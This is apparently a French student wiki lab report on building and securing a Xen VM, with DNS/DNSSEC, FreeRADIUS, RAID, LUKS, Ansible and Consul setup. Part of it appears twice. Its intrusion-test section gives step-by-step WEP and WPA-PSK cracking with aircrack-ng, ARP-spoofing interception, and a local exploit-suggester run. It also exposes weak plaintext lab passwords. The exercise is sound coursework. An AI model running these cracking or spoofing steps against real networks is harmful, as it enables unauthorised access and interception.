2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Nous avons résumé les étapes réalisés dans le fichier suivant. Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500<br />
<br />
Cela nous donne :<br />
<br />
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58028TP sysres IMA5 2021/2022 G62022-01-12T13:03:09Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
